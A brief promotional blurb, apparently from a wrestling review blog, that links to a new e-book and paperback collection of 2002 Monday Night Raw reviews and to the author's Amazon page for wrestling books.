http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6